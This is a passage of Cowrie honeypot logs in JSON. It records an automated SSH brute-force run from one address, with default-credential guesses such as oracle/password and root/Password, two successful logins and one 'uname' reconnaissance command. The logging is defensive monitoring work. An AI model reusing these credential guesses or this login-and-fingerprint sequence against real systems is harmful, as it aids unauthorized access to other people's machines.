{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54158,"dst_ip":"10.17.0.5","dst_port":22,"session":"10562caafaed","protocol":"ssh","message":"New connection: 95.38.165.118:54158 (10.17.0.5:22) [session: 10562caafaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:42.972547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:43.053505Z","src_ip":"95.38.165.118","session":"10562caafaed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:43.228555Z","src_ip":"95.38.165.118","session":"10562caafaed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:47.288771Z","src_ip":"95.38.165.118","session":"10562caafaed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60984,"dst_ip":"10.17.0.5","dst_port":22,"session":"672081f980e8","protocol":"ssh","message":"New connection: 95.38.165.118:60984 (10.17.0.5:22) [session: 672081f980e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:47.476203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:47.490438Z","src_ip":"95.38.165.118","session":"672081f980e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:48.379706Z","src_ip":"95.38.165.118","session":"672081f980e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:48.453636Z","src_ip":"95.38.165.118","session":"10562caafaed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:48.908236Z","src_ip":"95.38.165.118","session":"672081f980e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:50.089834Z","src_ip":"95.38.165.118","session":"672081f980e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60986,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8893ed102e8","protocol":"ssh","message":"New connection: 95.38.165.118:60986 (10.17.0.5:22) [session: e8893ed102e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:52.624494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:52.651001Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:53.502410Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:54.495573Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:56.497455Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:56.501078Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:56.673812Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:56.680367Z","src_ip":"95.38.165.118","session":"e8893ed102e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40490,"dst_ip":"10.17.0.5","dst_port":22,"session":"efa7bcd19ed0","protocol":"ssh","message":"New connection: 95.38.165.118:40490 (10.17.0.5:22) [session: efa7bcd19ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:57.735035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:57.741489Z","src_ip":"95.38.165.118","session":"efa7bcd19ed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:57.904172Z","src_ip":"95.38.165.118","session":"efa7bcd19ed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:59.049446Z","src_ip":"95.38.165.118","session":"efa7bcd19ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:00.314660Z","src_ip":"95.38.165.118","session":"efa7bcd19ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40496,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1546d85671c","protocol":"ssh","message":"New connection: 95.38.165.118:40496 (10.17.0.5:22) [session: b1546d85671c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:02.883669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:02.890740Z","src_ip":"95.38.165.118","session":"b1546d85671c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:03.064186Z","src_ip":"95.38.165.118","session":"b1546d85671c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:06.111614Z","src_ip":"95.38.165.118","session":"b1546d85671c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:07.359673Z","src_ip":"95.38.165.118","session":"b1546d85671c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55992,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9abdec64cf","protocol":"ssh","message":"New connection: 95.38.165.118:55992 (10.17.0.5:22) [session: 0c9abdec64cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:07.853474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:07.884413Z","src_ip":"95.38.165.118","session":"0c9abdec64cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:08.304817Z","src_ip":"95.38.165.118","session":"0c9abdec64cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:11.674448Z","src_ip":"95.38.165.118","session":"0c9abdec64cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56008,"dst_ip":"10.17.0.5","dst_port":22,"session":"80d148ac10cb","protocol":"ssh","message":"New connection: 95.38.165.118:56008 (10.17.0.5:22) [session: 80d148ac10cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:14.368455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:14.394013Z","src_ip":"95.38.165.118","session":"80d148ac10cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:14.533639Z","src_ip":"95.38.165.118","session":"80d148ac10cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:14.874413Z","src_ip":"95.38.165.118","session":"0c9abdec64cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42286,"dst_ip":"159.203.135.109","dst_port":23,"session":"b32785b2a701","protocol":"telnet","message":"New connection: 69.4.83.194:42286 (159.203.135.109:23) [session: b32785b2a701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:16.385802Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:16.900846Z","src_ip":"95.38.165.118","session":"80d148ac10cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41274,"dst_ip":"10.17.0.5","dst_port":22,"session":"252597677e3c","protocol":"ssh","message":"New connection: 95.38.165.118:41274 (10.17.0.5:22) [session: 252597677e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:18.561743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:18.571108Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:18.729134Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:19.680392Z","src_ip":"95.38.165.118","session":"80d148ac10cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:21.087391Z","src_ip":"95.38.165.118","session":"252597677e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41282,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1750f14d746","protocol":"ssh","message":"New connection: 95.38.165.118:41282 (10.17.0.5:22) [session: d1750f14d746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:12:23.667621Z"}
